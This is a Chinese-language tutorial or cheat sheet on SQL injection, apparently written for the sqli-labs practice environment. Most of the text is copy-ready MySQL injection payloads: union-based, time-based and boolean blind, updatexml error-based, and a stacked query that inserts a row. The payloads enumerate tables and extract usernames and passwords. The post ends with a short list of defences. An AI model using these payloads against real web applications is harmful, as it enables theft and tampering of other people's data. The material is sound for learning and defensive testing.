概念:
SQL注入(SQL Injection)是一种常见的Web安全漏洞,形成的主要原因是web应用程序在接收相关数据参数时未做好过滤,将其直接带入到数据库中查询,导致攻击者可以拼接执行构造的SQL语句。
什么是SQL?
结构化查询语言(Structured Query Language,缩写:SQL),是一种关系型数据库查询的标准编程语言,用于存取数据以及查询、更新、删除和管理关系型数据库(即SQL是一种数据库查询语言)
注意:
注入产生的原因是后台服务器在接收相关参数时未做好过滤直接带入到数据库中查询,导致可以拼接执行构造的SQL语句,导致数据库的数据泄露等一些危险
解释:
一些关于sql injection的具体方法,在我的sqli靶场中有介绍,这里只给到一些简单的关于sql注入的命令
可以参考:https://blog.csdn.net/hanjinming110/article/details/140669904?spm=1001.2014.3001.5501
联合注入:
注意:
适用于有回显,找到注入点以后
例如:
?id=1' and 1=1 --+ #找到注入点
?id=1' order by 3 --+ #找字段
?id=1' order by 4 --+ #发现没有回显,说明有3个字段
?id=-1' union select 1,2,3 --+ #判断显错位,可以得出,显错位是2,3 利用2,3进行注入
?id=-1' union select 1,database(),version() --+ #可以得出数据库的名字和版本号
?id=-1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database() --+ #得到库中的所有表
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+ #得到表中的字段,利用表中的字段得到我们的想要的数据
?id=-1' union select 1,2,group_concat(username,0x7e,password) from users --+ #得到我们想要的username 和 password 0x7e是编码的东西,解码之后是~是为了让我们看回显的时候更好看!!! post注入
' order by 2
' select 1,2
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() --+
?id=-1'union select 1,2,group_concat(username,0x22,password) from users --+
盲注!!(时间的注入和布尔的注入)
注意:
适用于没有回显,需要我们去猜测判断
时间盲注
?id=1'and if(length((select database()))=8,sleep(5),1)--+ #用时间延时注入判断数据库长度
?id=1'and if(substr((select database()),1,1)='s',sleep(5),1)--+ #使用时间延时判断数据库的第一个字母是不是s
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+ #使用时间延时注入判断数据的的第一个字母是不是s经过ascii编码后的数字。
?id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(5),1) --+ #使用时间延时的注入来判断有4个表
?id=1' and if (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(4),1) --+ #使用时间延时注入来判断第一个表的长度是6
?id=1' and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(4),1) --+ #使用时间延时注入来判断第一个表的名字
?id=1' and if((select count(column_name)from information_schema.columns where table_schema=database() and table_name='users')=3,sleep(5),1) --+ #使用延时注入来判断第一个表中的字段有3个
?id=1' and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=2,sleep(4),1) --+ #使用延时注入来判断表中的字段的长度
?id=1' and if(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)='i',sleep(4),1) --+ #使用延时注入来判断第个表中的第一个字段是i
?id=1' and if(substr((select username from users limit 0,1),1,1)='D',sleep(5),1) --+ #使用延时注入来判断username字段中的数据是否为D
?id=1' and if(substr((select password from users limit 0,1),1,1)='D',sleep(5),1) --+ #使用延时注入来判断password字段中的数据是否为D布尔的盲注
?id=1' and length(database())=8 --+ #使用这个来爆数据库的长度为多少
?id=1' and substr(database(),1,1)='s' --+ #使用这个来爆数据库的名字
?id=1'and (select count(table_name)from information_schema.tables where table_schema=database())=4 #爆出表的个数
?id=1' and length((select table_name from information_schema.tables where table_schema=database()limit 0,1))=6 --+ #爆第一个表的长度是6
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e' --+ #爆出第一个表的第一个字母是e从而爆出表的名字
?id=1' and (select count(column_name) from information_schema.columns wheretable_schema=database() and table_name='users')=3 -- + #判断表中有3个字段
?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=2 --+ #判断第一个字段的长度是否为2
?id=1' and substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)='i' --+ #判断第一个字段的第一个是否为i
?id=1' and substr((select username from users limit 0,1),1,1)='D' --+ #判断username中的数据一个是否为D
?id=1' and substr((select password from users limit 0,1),1,1)='D' --+ #判断password中的数据第一个是否为D
显错注入
注意:
适用于有回显的时候使用显错让它错误的显示,得到我们想得到的数据
?id=1' or (updatexml(1,concat(0x5c,database(),0x5c),1)) --+ #使用显错注入获得数据库的名字
?id=1' or (updatexml(1,concat(0x5c,version(),0x5c),1)) --+ #使用显错注入获取到版本号
?id=1' or (updatexml(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x5c),1)) --+ #使用显错注入获取到表名
?id=1' or (updatexml(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),0x5c),1)) --+ #使用显错注入获取到字段名
?id=1' or (updatexml(1,concat(0x5c,(select group_concat(username)from(select username from users)a),0x5c),1)) --+ #使用显错注入获取到username具体值
?id=1' or (updatexml(1,concat(0x5c,(select group_concat(password)from(select password from users)a),0x5c),1)) --+ #使用显错注入获取到password的具体值
?id=1' or (updatexml(1,concat(0x5c,(select group_concat(username,0x5c,password)from(select username,password from users limit 0,1 )a),0x5c),1)) --+ #使用显错注入获取到username和password的所有值
注意:
这里显错注入还有别的函数师傅们可以去自己总结一下!
堆叠注入攻击:
?id=1' and updatexml(1,concat(0x7e,(database())),1)--+ #使用报错注入先判断数据库的名字?id=-1' or updatexml(1,concat(0x7e,( select table_name from information_schema.tables where table_schema='security' limit 0,1 )),1) --+ #判断第一个表的名称?id=-1' or updatexml(1,concat(0x7e,( select column_name from information_schema.columns where table_name='emails' limit 0,1 )),1) --+ #判断第一个字段的名称?id=-1' or updatexml(1,concat(0x7e,( select id from security.emails limit 0,1)),1) --+ #判断表中的字段的长度?id=1';insert into users(id,username,password) values ('38','less38','hello') --+ #使用堆叠注在users表中插入数据
1' union select 1,2,group_concat(concat_ws(0x7e,id,username,password)) from security.users--+ #使用联合注入来验证
base64注入攻击:
使用base64解码以后带入查询
XFF攻击:
全称:x-forwarded-for,在HTTP请求头部中,表明是客户端的地址,表示客户端请求来自哪里,最左边第一个位置表示客户端,第二个位置表示经过第一个代理,第三个位置表示的经过的第二个代理,以此类推,中间用逗号加空格隔开。
格式:
x-forwarded-for :client1,,proxy1,proxy2
XFF注入攻击:
是sql注入的一种,该注入的原理是通过修改X-forwarded-for 的头部的值可以伪造网段的ip进行sql注入,从而得到网站的数据库内容。
sql注入的分类:
-
按照提交方式分类
- get注入
- post注入
- cookie注入
- http头部注入 (referer xff ua)
-
按照注入点分类
- 数字型注入
- 字符型注入
- 搜索型注入
-
按照执行效果分类
- 布尔
- 时间
- 显错
- 联合
- 堆叠
- 宽字节
- base64
- xff
- 二次
- cookie
sql注入流程:
- 判断是否存在注入点,是数字型还是字符型
- 猜测sql查询语句中的字段数
- 确定显示位
- 获取当前数据库
- 获取数据库中的表
- 获取表中的字段名
- 下载数据
不管是什么类型的注入,总而言之,就是对sql中各种类型的输入进行闭合测试,构造合法的sql,欺骗后台执行。
如何防御sql注入:
- 检查变量数据类型和格式
- 过滤特殊符号
- 绑定变量,使用预编译语句,mysql的mysqli驱动提供了预编译的语句的支持。
总结:
以上这些都是自己总结的一些sql语句用于注入的,有一些参数是需要去修改的比如说数据库名称字段名称等,这里只是给师傅们一个思路一个注入的方法!希望可以和师傅们一起交流学习!